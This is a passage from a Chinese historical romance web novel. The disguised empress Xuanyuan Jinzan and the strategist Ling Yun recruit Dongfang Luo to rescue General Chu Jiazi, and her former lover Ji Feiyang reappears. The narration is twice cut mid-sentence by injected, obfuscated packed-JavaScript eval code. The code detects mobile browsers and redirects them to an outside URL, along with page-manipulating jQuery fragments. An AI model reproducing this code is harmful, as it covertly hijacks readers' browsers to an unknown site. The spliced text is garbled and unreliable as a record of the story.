东方……乃是北海独有的姓氏……前北海道府司马一族姓东方。后来,听沈长清念叨过:朝臣在殿上禀说东方家族意欲将北海独立,被北延道府慕容涛镇压,此事由风子鸾首肯应下。此后,慕容涛在北地三府独大,领三府军备。 “你是东方后人。”金簪贯通思绪后问道。 凌云侧下头,对她道:“东方骆,前风瑶骑兵营轻骑弩队副将,后来被风子鸾派给风子棋,驻守海辰等地。在东都被慕容涛攻陷一战上失踪。” “呸,什么失踪。风子棋根本不会打战,我的轻弩压制慕容涛的大军,本可以一战,偏偏被京都名不经传的小将出头。 慕容涛退去后,风子棋不乘胜追击就罢,偏信紫琴君要坑杀月辉君,反丢性命。那一战,风瑶营万多兄弟全军覆没,杀的杀,失散的失散。 我若不是被踢进洛川江,被我夫人搭救,不可能活下来。”东方骆想起过往就恨,恨世道不公。 “你说得小将是楚甲子。”那一年真是痛啊。 金簪默默想道,“护国大将军楚甲子。” “是他。可他没能杀死慕容涛,给他二次南下的机会。”东方骆仿佛看透这世道,无力道,“天下有能力者全是逐利争权之流,为达目的,何管他人死活。如你,将我女儿从家里绑来,与那些人有何不同?” 凌云面对怒目的东方骆,一时无话可说。金簪往旁边让几步,似在说“我与他没关系”。 凌云顿时有种:这女人真现实。 “爹爹,姐姐是好人。我们回家吧。”东方川心疼父亲,拉他的大手,希望父亲别生气。 江城子轻咳一声道:“你们暂时不能回去。我们绕道洛川江,拖延利城寻人的兵马,但只延两天左右。 现在,你家那座山应该已经被利城的兵马搜寻过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059972|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们……”东方骆怒目,也明白这些人将女儿带出来得真正用意。现今世道兵如痞,对平民做什么都有可能。他们是在保护女儿。 金簪也知道凌云这层用意,突然对他生出惧意。这人城府过深,难以揣度。 如果棋盘上的落子无法被掌控,不如趁早毁掉,以免遭受反噬。 这是凌少保教过的棋道:弃子之道。 “楚甲子能战慕容涛,这是你承认的事实。如今,他就在胜城,你愿意帮她将人救出来吗?”凌云凝视已经静下气的东方骆。 东方骆看向诧异的金簪,一时目里流旋,挣扎起来。 轩辕姓氏人数不多,但是真正高贵得只有那一女。她是女帝——轩辕金簪。 金簪对凌云的说法颇有些诧异。 本以为此人想同季飞扬之流,招揽人才后自立成势,原来是想帮忙。 她低声道:“谢谢你。” 凌云侧脸,回道:“他会帮你,我没答应要帮忙。” “……”金簪被此话震的额头冒青筋,数年涵养功夫一朝被破,猛地抓在凌云的手臂,愠怒道:“你什么意思?朕许你如花美眷,无尽财富,至高宰权。如此,你也不动心?” 凌云很想笑,只是眼前的血红让他笑不出来。 他凝视她,胡须掀动,音调无波:“你能让因你而死的人复活吗?沈太傅、祁大司徒、已经隐居不出的舞艺司侍莺歌、禁军统领卫南勋……高氏一族高廷之……” 金簪的手无力地垂落,望进他哀伤的克制眼神,低喃道:“你还少说一些人,包括凌飞凌少保一府人,对吧?” 眼里沁上泪意,哽得说不出那句话:你是……凌云。凌少保的孙子。 凌云拉扯唇角,摇首道:“大概是吧。我在秋山救你时只知道这么些人。” 金簪一时陷入迷茫,想江城子等人对张停云身世的说法,不敢再下“他是凌云”的结论。 当年,沈太傅的回答是“凌云可能被季飞扬等人掳走”。西塞城时,季飞扬不认识张停云,恐怕张停云真不是凌云。 金簪转向回过神的东方骆,单手背后,方步向前。 “东方家一事,当年我虽年幼却有所耳闻。风子鸾在朝堂批复慕容涛带兵围剿东方氏的提议。若你肯帮我,我允你为轩辕铁甲骑兵营大将。 待我们救出楚甲子,重振轩辕氏铁甲。我定向慕容涛复仇,血洗你东方氏灭门之恨。 如何?” 东方骆的神情变幻,嗤两声:“呵……呵呵……当年,我当上轻骑营弩队副将就知道这是风子鸾的阴谋。他想要北地动荡,而无暇南下,这才牺牲我东方家。 女帝,我不为报仇,但楚甲子确实一方豪杰忠将,不辱楚氏门风。 我答应帮你救人,但是你提得那些……” 他拍下东方川的脑袋,慈爱道,“我内子过世前嘱咐我好生照顾川丫头。” 东方川抱住父亲的手臂,巴巴地蹭几下。 她人小,但机灵。夜半时,阿爹独自在灯下抚摸乌金弓,周身流泻的惋惜、难过做不了假。阿爹一定想再握一次乌金弓。 “我答应帮你,但不是为日后什么大将或复仇,只因为楚氏为人值得救。”东方骆拉上女儿,重新提起背篓,向胜城走去,“你们间也有麻烦吧。我在城里的四合酒楼等你们。” 金簪轻出口气,转身发现江城子等人撇脸四顾,轻咳一声:“我……” “我们就此分道。”凌云说完就走。 金簪想也不想就拉住他的衣袖。 四目相对,彼此目里流光,好似说尽一切,又似什么都没有谈妥。 金簪没有什么借口能将人留下,像东方骆一样用“楚甲子的为人”做借口去搭救他。张停云显然不属于这类人……他是真油盐不进。 “一笔买卖。你帮我救人,我告诉一件你必定感兴趣的事。” 凌云还以为她会用东方骆一样的借口挽留,不想用得是最实际现世得那套。 他的胡子轻轻地扬起又垂落,好笑道:“你以为我会为你卖命?” “你已经在这条船上。何况,你去南蜀必有所求,与我有关,对吧?” 金簪洞悉他目光里一闪而逝的惊讶,颇有把握道,“你本可以将我放在西塞城外,但一直带着我。你既不忠君,也不爱我大周朝,你不往寒雪关,偏向胜争道府,又说前往南蜀……那么,你定有目的。 若我猜的不错,与我有关,或许……与我体内的金蝉蛊王有关。” 凌云的目色深几许,有些人捉住一点蛛丝马迹就能推出全局。 祖父说过,善弈者落一子前先纵观全局。此中翘楚,非太女轩辕金簪莫属。 46. 动心 金簪见好就收,不探张停云的底,只谈眼前利益。 她望向他左护腕下的袖弩。此前在小阳山一路,他多用轻弩,在寒夜射杀狼群时用得是左手的中型筒弩。 金簪记得当年季飞扬刺杀风子鸾时用过类似的弩,但比他现在护腕上围套得要笨重。 她取出一粒表面凹凸的红褐赭石,递给凌云。 “落秋山高耸,上表有赭石。你擅机关弓弩,必懂锻造,对于这个有兴趣吧?” 赭石,赤铁矿一种。 凌云第一时间想到这个,但是,她不可能知道铁矿……不,她是轩辕金簪,熟读典籍,又有名师指导辨金之术,认得此赭石不算意外。 若有赭石,铸兵锻铠,乃是乱世重器。 “光凭这小小一粒石头,你就说有铁矿石,谁信?” 金簪的目光落在江城子处,果断道:“你若答应帮我,我将谷地位置告诉江城子。以你行事,必留他在城外接应。此期间,他可以上一趟落秋山,探明情况,证明我的话是否属实。” “呵……”凌云刚要反驳,又听金簪道。 “我以轩辕氏金簪之名起誓,老虎沟里的铁矿含量绝不会低。无论你将消息卖给任何一方势力,或留待后用,都会受益匪浅。” 金簪因要赶在孙裴前进城,由东方骆带着穿过老虎沟。 那条路难走,但有一片山坡背阴,零零荒草覆表,属于地动滑坡后生长出的浅表草木。她行近百米,翻开不少土石,皆有赤红痕迹。 若能探查整座落秋山,说不定有意外的大收获。 凌云之所以没在半路赶上金簪,便是在一处密林里寻不到砍伐的痕迹。 当时,江城子断定他们走错路。东方骆肯定带女帝抄条近路,只是,他们错过那个点。 凌云垂眸,撵着赭石沉思。 他望向一众看来的兄弟,对金簪道:“我答应你没用,得他们也答应才行。” “你……什么意思?”金簪本松散的神色再次绷紧。 “你在求人办事前都是这样的态度吗?”凌云微凉的目光落在她灰黄的脸庞,“可以颜丑,却不懂低首求人?” 金簪瞬间想起以往听过的谈话: “今时今日,她不吃苦还想享受女帝待遇?你伺候她?” “我也想试试女帝的滋味。” …… 她的脸色极度难看,忍辱道:“你非要羞辱我才肯答应?” 凌云稍许诧异,依然道:“若你觉得为你出生入死之人,向他们低下头说声‘请、谢’是侮辱,也难怪无人肯追随你。 我很好奇,你当初是靠什么让楚甲子为你卖命。或许,只能用楚氏门风解释。但是,我们这等人……海边渔民,小家小户,不讲世家传承那套。” 金簪的脸上露出愕然之色。她的目光微远,诧异道:“就……这样?” “不然,怎样?”凌云牵起唇角,连胡子都扬高几度,“或许,以你的身份,重来没有人教过你要对旁人说请和谢吧?” 废话。 “你在这等着。”金簪暗吸口气,泰然走向江城子、陆鱼儿和何秋刀。 三人只见到两人谈话的情形,待金簪走来,他们的手脚立时或动或静,随后站直四顾。 金簪向三人拱手道:“请你们帮我救出楚甲子。你们老大已经答应,但他说,你们是兄弟,此趟交易卖命,需我亲自问过你们。金簪拜托诸位,多谢。” 是啊,他已经答应。呵,张停云,既借你虎威,岂能不用好。 江城子几人面面相觑:头儿都答应,我们还能说什么。何况,女帝掬礼做请,多大的荣耀。她可是轩辕氏。 江城子先向金簪拱手还礼,陆鱼儿和何秋刀随后跟上。 凌云走来,观三兄弟的神色,有些不解。 陆鱼儿三人没少说女帝高傲、难以接触等话,如今她亲自来请,几人怎么还一副畏缩的表情? 罢了,轩辕金簪,本就是这样一个难以靠近的女人吧。 金簪朝走近的凌云道:“我按你说的做。而且,他们都已答应我。”你应该也没问题吧? 四个大男人对视眼:咱们是看在头儿的份上,大家出生入死的兄弟,关键时刻,岂能让头儿一个人扛事。 江城子摸鼻子道:“头儿,做吧。楚将军为人不错,往年大旱,他救过几府百姓。” 凌云颔首,将赭石递给江城子。 待金簪将老虎沟的方位和做下的标记说清,凌云稍许安排众人的行动。 他先让江城子和何秋刀离开,探明落秋山矿石、以及利城司马军队的动向,再回城胜城外接应。 凌云又与金簪道:“你我扮作兄弟进城。但要约法三章:一、不可暴露女子身份。二、不可使用轩辕枪。三、绝不能离开我的视线范围。你若不应,就同何秋刀他们待在城外。” 金簪岂会不应。若不能亲自救出楚甲子,他一朝变节,拿什么再来挽回? 她重重地颔首:“好,我答应你。”重新将脑后的半长发盘扎成一束。 凌云将怀里的枣木簪递过去:“用这钗。” 金簪接过,抚摸钗上简单的钗头云纹,钗身光滑幽亮,显是被人用油盘过。 “新的。”语罢,凌云转身而去。 金簪咧唇轻笑,盘起头发后插上枣木簪。 【这个人,在我觉得此鹰难熬时又突然来这一出,都不知道究竟是谁熬谁。】 陆鱼儿独自入城,而金簪和凌云两人一起,背着不知道哪里搞来的甜薯篓子,随着陆续多起来的人流进入胜城。 胜城把守比利城严厉,男女都要搜身。 凌云以为金簪会抗拒,但是她很坦然得由着士兵拍在双臂、小腹和腿处,随后被放入城。 入城后,街市人流如织,有响声而不吵闹。 凌云靠近金簪,轻声道:“该让你做女子打扮。” 金簪不解道:“胜城守卫拿着我没恢复前的画像找人,又有婆妇检查女子队列,远不如男子这边轻松。我若做女子打扮入城才危险。”她走出几步,恍然道,“你是为刚才我被守卫搜身在纠结。呵……” 凌云不解道:“你不觉得……” “不觉得。”金簪立在凌云的正面,向他道,“你知不知道,你有时候挺让人困扰。”像是莺歌的舞,近身时能缠着人的身体钻入心,推开时语气逼人却目里流连,矛盾又诱惑的男人。这样的人竟有一种安心可靠的感觉。 凌云瞧入她幽暗深邃的眼神,试图将那个沉溺的傻蛋救出来,却好似无能为力。 马车从大道的另一头驶来,他下意识一把揽住金簪,让道一旁。 两人的身体紧紧地贴靠一起,伴随金簪的手绕过凌云的腰身,将这个拥抱变得更加真实而炙热。 街上行人看向他们,觉得又怪又很和谐,好奇者驻足指点。 凌云推开金簪,口干舌燥下尴尬道:“走吧,四合酒楼。” 他跨步在前,两步后回头望去,金簪迎阳浅笑,唇粉齿白,像是登令楼上旋身得某个瞬间,独她在天地间发光。 这缕光点亮凌云对女人的最初认知。 金簪是高不可摘的九天星灯,非天神不可拥有。 江城子说得对,有些人的气质,不遮掩是盖不住的。而这个女人,流淌在血脉中得与生俱来的高贵,即使遮掩,都盖不住凌人的芳华。 凌云快步近前,拿手盖在金簪的眼睑:不要这样对我笑,不要拿这双眼看我。我会忘记不该忘记的事,为那血腥的一日替你找诸多的借口,只因……我……想与你……在一起。 金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059973|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簪抓住盖在眼前的手,浅吟道:“你的眼睛已经承认,你……喜欢我。” 凌云的手轻颤,撇开脸,没敢再看她。他反手一扣,抓住金簪的手向前走。 金簪咧大嘴,侧眸一撇,望见牵马立在道路另一边的几人。 她的脸色微变,转眸直视前方。 季飞扬注目那道纤长高挑的身影融进人群后消失,低首垂目间轻轻地笑起来。 【果然是她,虽有修饰外貌,但身量轮廓未曾改变。她真得来胜城。啊……我就说这个女人不会轻易放弃。轩辕金簪,这次,我们能好好谈一笔买卖。】 “季成,联系我们在胜城的月影探子,盯住他们,尤其是‘夫人’。” “是,少主。”孽债啊。季成肃张脸离去。 季飞扬带季钊明直奔胜城行宫,轩辕日照所在的地方。 轩辕日照,月辉君的长子。 人长得异常秀气,眉眼间开阔舒朗,有一种令人信服的气质。 西南诸人对于月辉君不太感冒,但是,对于轩辕日照,人人喜欢,因为他长得秀气,为人却豪气。 季飞扬一露面,轩辕日照就拉他上酒窖。 两人直接灌一坛酒,再听季飞扬说明来意。轩辕日照当即砸碎酒坛,喊下属大将仇长庆随季钊明带兵前往风华道府的东阳山。 “贤弟,你放心,这帮野狼仔敢越过长墙,我定将他们剥皮抽筋,制成狼裘送你。” “大哥此话,小弟就放心了。来,继续干。”季飞扬揭两坛酒,递去一坛。 轩辕日照接过酒坛哈哈大笑,与他一撞,大饮一口,又骂道:“怪老顽固石鸣春,不允我胜争兵马前往寒雪关。呸,哪日他不行了,我定开寒雪关城门打出去。干。” “大哥豪气,干。届时,小弟定为大哥马前卒。”季飞扬顺话意道。 “哈哈哈……说得好。这西南几府,就属你最投我的脾气。”轩辕日照耳闻外面熙攘,喊道,“门外何事?” “回君上,利城孙大人有急事觐见。” 轩辕日照的眉梢轻扬,白面含粉,正要说什么被季飞扬一扯。他回头道:“贤弟,这孙裴可是我花好大代价收拢之人,他此行带来利城女眷,你可有兴趣一赏?” “嗐,大哥的女人,我怎么敢瞧啊。不过,今日弟弟高兴,大哥若是这么走了,我可不依啊。”季飞扬拍在酒坛,狂放的眼神明明白白写着:你要逃? “好好好……”轩辕日照朝外喊道,“将他带来的女人直接交给海棠宫的管事,她们会安排好。另,派人好生安抚孙大人,就说本君今日有贵客,明日再见他。” “大哥爽快,干。”季飞扬拿酒坛直接撞他手上,仰头就大灌。 “好。喝酒还得是贤弟,哈哈哈……”日照君也是如此大口灌入。 两人从隅中喝到晚间的人定后,一直无人打搅,直到季飞扬爬去推开门,才有侍者将两个酒鬼搬入各自的院落。 “哕……”季飞扬连苦胆水都吐出来,双眼爆红含血丝,脸色清白交色,一副命不久矣的醉人相。 “少主,你这是玩命啊。日照君可是喝遍胜争三军的人物,他的酒量,你咋比得过?”季成都被这浓郁的酒臭味儿熏得想逃。 “呃……没事事。”季飞扬大舌头道,“我我事先喝解酒药,而而且我我还给他下百日醉。哕……”他干呕两下,已无东西可吐,“呵……这样,她她就有时间做要要做的事。” 人往后一倒,又诈尸般坐起,一口喝掉季成端来的解酒汤。 “明日明日帮我准备……槐花糕,热乎的……我要见她见她……”双眼一翻,直接迷糊过去。睡梦中,他抱着被角蜷缩成一团,好似受伤的小鹿,呢喃:“簪儿……簪儿……簪儿……” 季成叹口气,直白道:“风流债哦。” 47. 夺情 四合酒楼的后面,绕个道,有一间朝小巷开门的小宅,正是东方骆攒几年打猎钱给女儿买的房产。 他本无意进城招惹麻烦,如今却将麻烦带入小宅。 若是众人将楚甲子营救出来,宅子说不定会被查封。而谋事要付出代价,东方骆早知此中道理。 东方骆将入城后打探的消息告知众人。 人定过后,凌云就夜探司徒府衙,摸清府衙的地形,以及确认楚甲子是否在大牢。 夜半过后,除花街柳巷外,普通街上已无行人。 小院正堂里有人在等凌云和陆鱼儿归来。 黑影入宅,一点灯火照亮凌云面罩后的双眸。 他收起手中的方管,取下面罩:“人不在司徒府大牢。” “不在司徒牢狱?”金簪期待的心沉落,蹙眉道,“那他会在哪?不会已经……”不可能。若楚甲子过世,上哪再找一名可以震慑石鸣春、冯萧等人的大将。 迟迟归来的陆鱼儿进宅道:“头儿,我听司徒和幕僚在说,女帝……伪帝一直想要见楚将军。这次她终于说动日照君,命司徒衙门悄悄将楚将军送入行宫,而且,此事发生在昨日,知道这件事的人不多。 司徒同幕僚说,伪帝夸下海口,誓要收服楚将军,为日照君所用。” 金簪长出口气,敛眉道:“这么说,我们要闯行宫。” “另外,孙裴已经带官商女子入城,直奔行宫。恐怕,凌夫人的脸瞒不住。”陆鱼儿道,见凌云瞪来利眼,摸鼻子讨饶,“我是觉得前面那件事重要,呵呵。” 东方骆叹道:“夫人要隐藏身份不难。早前,川丫头的母亲在时,我同四邻说,这座宅子是准备一家三口住。若夫人不介意,先扮成川丫头的娘吧。 只是,夫人的腰背得缩一点,不能再这么直。乡下农妇,哪有你这气度仪态。” 金簪抽唇角,低首一身布衣短打,不解道:“我这样不行吗?” “只怕一个身份不够用。若是被人认出,得准备另一个身份好转换出城。”凌云解释道。 “等等,另有一件事,我觉得应该让你们知道。”陆鱼儿吧唧道,“头儿,别瞪我。 司徒大人同幕僚说,月罗府来一帮人,在午后进行宫,是什么月罗道府的郡守之子。 我怀疑,他们说得是我们在西塞城遇上得姓季那帮人。 今日,我在街上打探时,瞧见个眼熟的带队出城,八九不离十就是那帮人。” 凌云愕然,一时思绪万千,竟没能理出个头绪。 金簪知道陆鱼儿说谁,缓缓道:“白日街上,我已经看见过他,而他……” 凌云微僵的眸光注视金簪,等她把话说明。 “他很可能……认出我。”季飞扬那抹笑可真扎眼。 金簪垂目,桌下的手握成拳。 “你想怎么做?”凌云试图平静道。 “月罗府听命轩辕日照,以季飞扬的狂放性子,不会一直屈居人下。按说他在风华道府的秦连长墙处,来此必是借兵对抗偷入境的摩尔人。”金簪沉吟,扬眸道,“或许,我们可以约他……” 凌云突然起身:“等明日再说。我们等到明日晚间,行宫没将楚将军送回司徒衙门,再探行宫。散吧。” 他起身离开,直入院子。 陆鱼儿摸把头,朝东方骆和金簪道:“头儿这是怎么?若是这样拖下去,大家不是更危险。头儿不会不知道这事吧?” 金簪没应,起身出屋。 男人正站在院中的大桃树下,被桃叶遮的影影错错,似有许多心事。 凌云知道一件事:若是季飞扬见过金簪的脸。那么,他必定会主动前来。 他还记得当年,季飞扬追金簪得那段日子。 季飞扬毫无顾忌地翻墙入宫,只为送她一斤槐花糕;他夜盗官豪家的金箔,熔煅成长簪送她为精致的弓器; 他能星夜奔地方道府,觅来天山雪蚕丝,求殷罗姑姑缠成弓弦赠她。 为她,季飞扬求凌云画稿煅器都不下十次。 凌云的手握住左腕护甲,绑筒弩用得就是轻薄坚韧的雪蚕丝。 当年,在欢喜楼上,他抓住这缕随风而来的丝线时才明白季飞扬为她做多少事。 女帝和季飞扬曾经那么相爱。 在西塞城上,光是一个背影,季飞扬就认出她,巴巴前来掀帽帘。 今日,他见过金簪后肯定能认出,又怎会不来? 他……还深深地爱她。 轩辕金簪呢?她还爱他么? 爱得吧。 大街上,她失态的步伐;暗夜里,躲在窗棱后窥探的深邃眼神;丛林中,盯向马背的专注神色……以及,白日见到他后未曾相告大家真相。 “你在想什么?” 金簪看向高大的背影,仿佛要被阴影切割地碎掉。她的心里泛起丝丝疼的涟漪。这人胡子拉渣,但有一种可靠、斯文的感觉,且足够冷静、智慧,是不可多得的智囊。 “你看起来很矛盾,矛盾得要……随黑夜消失。” 凌云垂头,压下滚涌的复杂心情。 他转身,冷淡道:“若是季氏肯帮忙……” “我虽想找他谈,但不想他帮忙。”金簪直白道。 凌云蹙眉如峰,有些不明白她的意思。 “他能骗我一次,就会有第二次。我不信任他,但是可以利用他。”金簪肯定道,“对此,你怎么看?” 不愧是你,轩辕金簪。 凌云好像经历一场名为女帝心机的洗礼,可怕得是他的心底滋生出隐秘的快感,让他沉重的内心一下子变轻。 他有些受不住这样浮躁、不可理喻的自己,下意识扶在额头遮掩眸里的光彩。 明明没喝酒,却像是喝醉后迷失的样子。轻飘飘地,想要做一件事,被她抱,或者拥抱她。 不行……不能…… 金簪两步近前,环在凌云的腰间,像是听到他一闪而过的心声。 凌云睁大眼睛看向贴在胸口的女人:为何不行?她能。 “张停云,我曾经慕过他,喜欢他的狂放、潇洒,来去自如,身上带着那种自由的感觉。因为,那是我没有、也不会拥有的东西。 在西塞城的大街上,我再度见到他。他人变沉稳,更有魅力。 但是,他的身上不自由,没了年轻时的狂放,像是一把被弹旧的古琴,多沉淀却少鲜活。” 金簪仰首,望入专注的清澈眼眸,低笑吟道,“说来,你的胡子也遮不住你的……你和那时的他差不多……” “什么?”凌云垂在两侧的手拳紧,心跳声在两耳旁轰鸣。 “他已经不是我认识得那个季飞扬,而你是我认识得现在的你。 你我有相近的谋略,虽目标不同,但你若答应我,我……唔……”金簪被凌云的大掌捂住嘴巴,“嗯唔……”两声。 凌云瞧进她的眼底,那个无法自拔的蠢货啊,因她的一言一行而忘乎所以。他低低地笑两声,为她的胆大,为自身的无奈。 “你不用说这些,我会帮你将人救出。用你的美貌去诱惑别人吧。” “张停云。”金簪烦躁地喊,怒目瞪向他离去的背影。 凌云一步未停,直入偏房,转身关门,一气呵成。 他躺在门板搭成的床上,辗转难眠。每一次翻身,木板发出咯吱声。 这是一场角斗,关乎内心的角斗。 场地的一边是血腥的斩头画面;而另一边是一个坏男人和一个坏女人的无声斗场。 天平的两端因记忆的偏差在倾斜。 此刻,心情滚覆的凌云已经扛不住涌起的温热思念。 【你的喜欢有多深? 像我……一样吗?从懵懂向往开始,被恨和爱交替折磨身体和内心。 轩辕金簪,你永远不会懂,这份交织爱和恨的感情有多沉重。在波涛汹涌中,海船倾覆,也想要游回海岸,只为再见你一次,问你一句:你凭什么颁送行诏给我祖父?】 黑暗中,凌云的手环住自身。 在意识海残留的温热随幻想蔓延向身体的胸膛和四肢。 若是抱着她入睡……该是怎样一种满足。 【此时此刻,容我……抱一会吧。】 ** 翌日,金簪被东方川喊醒,闻着诱人的馒头味道。 她掐把川丫头的脸蛋:“你怎么这么能干呢。” “姐姐,不,”川丫头小小声道,“陛下,我可以做你的女将军吗?我射箭很厉害,像爹爹一样厉害。” “呵呵……” 金簪笑不可遏,将她拉上床榻,抿唇道,“你爹除教你射箭外还有什么?” “嗯。种菜、做饭、喂猪……”东方川想起陛下连农菜都不认识,只怕当大将军也不用认识农菜,“我……我会写字,还会……” “长弓远射,乃是轻骑营标配。你觉得你的弓术胜得过你爹爹吗?”金簪对她循循善诱。 川丫头摇头,一脸纠结:“我现在比不过他,不代表我明日比不过他。” “哈哈哈,”金簪的笑声穿透小屋,让外面晨练的几个男人都听见。她抚摸川丫头的软发,低声道,“我教你轩辕枪,你想不想学?” “想。我太想了。”东方川大声喊。 东方骆终于忍不住叫起女儿的名字。川丫头蹬蹬蹬跑进院,抓住阿爹的手就转圈圈,一脸的幸福样儿。 “你这傻孩子,乐什么,想什么呢?”东方骆不解道。 东方川背过手,又跑向出屋的金簪,仰首道:“我不仅要做神射手,我还要做大周的女枪/王。” 在金簪的笑容支持下,她跑到厨房口,拿起一根两指粗细的干竹棍就呼呼地耍,似有用完的劲头。 东方骆的神色变幻,落在金簪微笑的脸庞,瞧入她深邃的目光,一时不知道要怎么办。 金簪拿馒头走近:“在北山上,川丫头初见我,第一句是家里无余食。她见过流民、强盗,体会过山野孤寂。一旦入世间繁华,怎会甘心再回深山? 难道东方将军自开始时就甘愿留在北山当骆猎户?你作为父亲和东方家的后裔,不为有这样的女儿骄傲吗?” “她不过八岁,知道为谁而战吗?”东方骆迷茫道。 “为她自己……不凡得一生。”金簪环顾小院和一进三房的宅子,低笑道,“你苦心赚钱,为她准备这座安家落户的家宅。然而,这小小一方宅院关不住她。” “姐姐……不,夫人,我要学,你教我。”东方川将棍子往地上一戳,仰首激动道。 “好。不过,我得先吃早膳。”金簪朝她暖暖一笑,目光流离,落在出门的两道背影。 东方骆拍在女儿的头发,扫见后道:“张兄弟和陆小兄弟说出门打探一番,再顺道采买点食物。” 金簪也想出门,但是,孙裴已经入城,若他将自己的画像给轩辕日照,只怕现在满大街都是更新的女帝画像。 这时,一只柳叶镖插在桃花树干。东方骆赶紧将两人赶入屋,拔下柳叶镖和上面的纸条。 东方川哒哒地跑出去,接过父亲手里的纸条,展开后读道:“午时一刻,四合酒楼,夏厅。这是……约夫人用午食吗?在四合酒楼的夏厅。” 东方骆已经出院去四周搜寻。 金簪接过东方川手里的纸条,一目扫过,不是季飞扬的字迹。 东方川好奇道:“夫人可以带上我吗?四合酒楼的饭菜好吃。” “呵,天下没有免费的食物。今儿个还真不能去。”金簪将纸条拿去厨房,扔进灶肚,“川丫头,你来教我生火吧。” 东方川不太懂她的用意,就教她烧水。 一壶水开,东方骆才回来,向金簪摇头道:“没追到人。” 金簪莞尔:“若是东方将军这样行事,不仅我会被抓去,川丫头也逃不了。” 在东方骆不解的眼神下,东方川嘻嘻道:“阿爹,夫人说,你一去这么久,不怕中调虎离山之计吗?” 东方骆面上微僵,心下微凛,竟忘记这茬。 “你这丫头。你爹久不当将军,手生脑笨的,只是需要一段适应期。”金簪喝上自己煮的水,展颜道,“怪甜的。”惹得川丫头嘎嘎笑。 东方骆瞧向被女帝当传话人的女儿,一时复杂得不知道说什么。 他颔首道:“此后,末将绝不会再犯。刚才,我去街面上打探,胜城府兵拿得依然是一张面容枯槁的女子画像。” 金簪放下碗盏,敛眉道:“难道孙裴没有将见过我的事上禀?又或许这是一个陷阱。” 她吩咐道:“烦请东方将军再上街,查看四门守卫收否增强,若是陷阱,查细枝末节处,必有所获。” “是。”东方骆转身要走,又纠张面色回头。 金簪扬眉道:“无妨。季氏并无恶意,但去无妨。” 早上时间过得快,金簪给川丫头打下手,揉面、切菜,炖煮、焖炒,将活干得井井有条。 川丫头直夸金簪:“夫人,这世上还有你不会的事吗?” “大抵……不太多。认真听,专心学,手上不笨,哪有学不好。”金簪仰面朝小姑娘道。 川丫头焖上盖子,探头瞧她一张被碳涂黑的脸,捧腹大笑。 金簪摸了把脸,一手黑灰,往川丫头脸上招呼过去:“来来来,这碳火说了,不能厚此薄彼。” “哈哈哈……我不要。哈哈哈……”川丫头一跳,窜进院,向回来的东方骆和凌云直奔过去,“爹爹救我。” 金簪刹住脚,轻咳了声,看向目若灯火的凌云:“你们回来了。我……我去洗把脸。” 东方骆直接戳女儿的小脑袋,骂她顽皮。 凌云站在井边,帮金簪将水打入脸盆。他将怀里一方白净的丝帕递去:“今晨在街上偶然遇见……买的。” 金簪接过后打湿脸洗漱。清爽干净的脸上映着暖阳,像是渡一层金辉。 她将变成灰色的丝帕举起:“这……弄脏了。” 凌云接过来,重新换盆水清洗丝帕。 金簪瞧他一丝不苟的举动,蹲下身道:“你是见我早上没洗脸才买来送我?” 凌云不应,待搓干净后被金簪一把拿走,不解地看向她。 “晚间洗脸还要用呢。”金簪微掀红唇,笑容轻盈明媚。 凌云听到不争气的心跳声,起身道:“吃饭吧。” 陆鱼儿推门入院,瞧向堂里的热闹:“好香啊。不愧是川丫头,没辜负我来回两头跑,又送菜又蹲门。” 一伙人围张桌子用饭。 吃完后,几个大男人又将盘盏放到井边,这才围一起商量事情。 “孙裴夜宿行宫,未曾再出。另外,我打听到,昨夜日照君与月罗府少主季飞扬喝得不省人事,至现在人还没醒。御医也进行宫,还没出来。”陆鱼儿道。 东方骆言:“四门巡护没有增减,看起来与平常无异。城门口负责查验身份的护卫,他们手上的画像也没有变化。不过,今日利城司马也入城,被胜城将军田宁给邀去府邸。” 凌云是复杂勘察行宫地形,而且已经将完整的布局图搞到手。他正要说什么,就听院门外有人敲门。 几人一时面色微绷。川丫头跑去应门,拿了一封帖子入屋。 “夫人,那人说是给你,然后,人就走了。” 金簪接过金丝绣花面的帖子,翻开后阅:彼美淑姬,可与晤言。槐花亦冷,我心未死。若你想救人,出门右转相见。字:飞扬。 这是他的字迹,比曾经那潦草随性的字更工整、笔力也更强。 她将帖子递给凌云。 凌云捏着绣花帖,神色莫名。良久后,他扬眸道:“他……是真有心帮我们,轩辕日照酒醉不醒,必是他所为。我们要趁此机会将人从行宫里救出来。” 金簪颔首:“你擅勘探画图,可有办法?” 凌云将画的行宫路线图铺在桌面,突然道:“不去,行吗?若是我们去救人,而你被人劫走……” 旁人听不懂这一语双关,金簪沉吟一会,起身道:“我不太擅长入宫救人,但是,我认为我们可以将救人的时间定在今夜。机不可失时不再来。我现在出去应付他。” 陆鱼儿见院门关上,不解道:“头儿,这行吗?” “她能处理好。若她能回来,说明季飞扬拿她没办法。若是她不回来,我们也不必上赶送死。”凌云冷声冷目道。 陆鱼儿哦哦了两声:“头儿高明。她若选择季氏,自有人帮她。我们也不想加官进爵……呵呵……”其实有那么点儿啦。 东方骆沉声道:“以她之才,两头皆用 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季飞扬棕黑的眸色暗几许:“但是,你统御不了天下,南日照北慕容,东西各有大势。天下道府、连州县都在举旗,大周……已亡。” 金簪不言。良久后,平静的脸上出现惋惜。 